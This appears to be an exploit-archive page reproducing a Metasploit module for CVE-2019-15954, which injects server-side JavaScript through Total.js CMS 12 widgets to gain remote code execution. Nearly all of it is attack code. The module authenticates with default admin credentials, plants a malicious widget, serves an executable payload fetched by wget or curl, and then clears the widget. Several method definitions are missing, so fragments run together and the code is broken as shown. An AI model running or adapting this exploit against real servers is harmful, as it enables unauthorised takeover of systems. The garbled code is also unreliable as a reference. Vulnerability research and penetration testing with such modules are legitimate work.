Exploits / Vulnerability Discovered : 2019-10-22 |
Type : remote |
Platform : multiple
This exploit / vulnerability Total.js cms 12 widget javascript code injection (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Total.js CMS 12 Widget JavaScript Code Injection',
'Description' => %q{
This module exploits a vulnerability in Total.js CMS. The issue is that a user with
admin permission can embed a malicious JavaScript payload in a widget, which is
evaluated server side, and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Riccardo Krauter', # Original discovery
'sinn3r' # Metasploit module
],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
[ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
],
'References' =>
[
['CVE', '2019-15954'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],
['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']
],
'DefaultOptions' =>
{
'RPORT' => 8000,
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => '2019-08-30', # Reported to seclist
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),
OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),
OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])
])
end
class AdminToken
attr_reader :token
def initialize(cookie)
@token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first
end
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
# If the admin's login page is visited too many times, we will start getting
# a 401 (unauthorized response). In that case, we only have a header to work
# with.
if res.headers['X-Powered-By'].to_s == 'Total.js'
code = CheckCode::Detected
end
# If we are here, then that means we can still see the login page.
# Let's see if we can extract a version.
html = res.get_html_document
element = html.at('title')
return code unless element.respond_to?(:text)
title = element.text.scan(/CMS v([\d\.]+)/).flatten.first
return code unless title
version = Gem::Version.new(title)
if version <= Gem::Version.new('12')
# If we are able to check the version, we could try the default cred and attempt
# to execute malicious code and see how the application responds. However, this
# seems to a bit too aggressive so I'll leave that to the exploit part.
return CheckCode::Appears
end
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json_res = res.get_json_document
cookies = res.get_cookies
# If it's an array it could be an error, so we are specifically looking for a hash.
if json_res.kind_of?(Hash) && json_res['success']
token = AdminToken.new(cookies)
@admin_token = token
return token
end
fail_with(Failure::NoAccess, 'Invalid username or password')
end
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
if res_json.kind_of?(Hash) && res_json['success']
print_good("Widget created successfully")
else
fail_with(Failure::Unknown, 'No success message in body')
end
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
if res_json.kind_of?(Hash) && res_json['success']
print_good("Widget cleared successfully")
else
fail_with(Failure::Unknown, 'No success message in body')
end
end
if req.uri =~ /p_.+/
payload_exe = generate_payload_exe(code: payload.encoded)
print_status("Sending payload to #{cli.peerhost}")
send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'})
return
end
send_not_found(cli)
end
def on_new_session(session)
clear_widget
end
# This is kind of for cleaning up the wiget, because we cannot pass it as an
# argument in on_new_session.
def get_widget
@widget
end
# This is also kind of for cleaning up widget, because we cannot pass it as an
# argument directly
def get_admin_token
@admin_token
end
def exploit
user = datastore['TOTALJSUSERNAME']
pass = datastore['TOTALJSPASSWORD']
print_status("Attempting to authenticate with #{user}:#{pass}")
admin_token = auth(user, pass)
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
print_good("Authenticatd as: #{user}:#{pass}")
print_status("Creating a widget...")
@widget = create_widget(admin_token)
super
end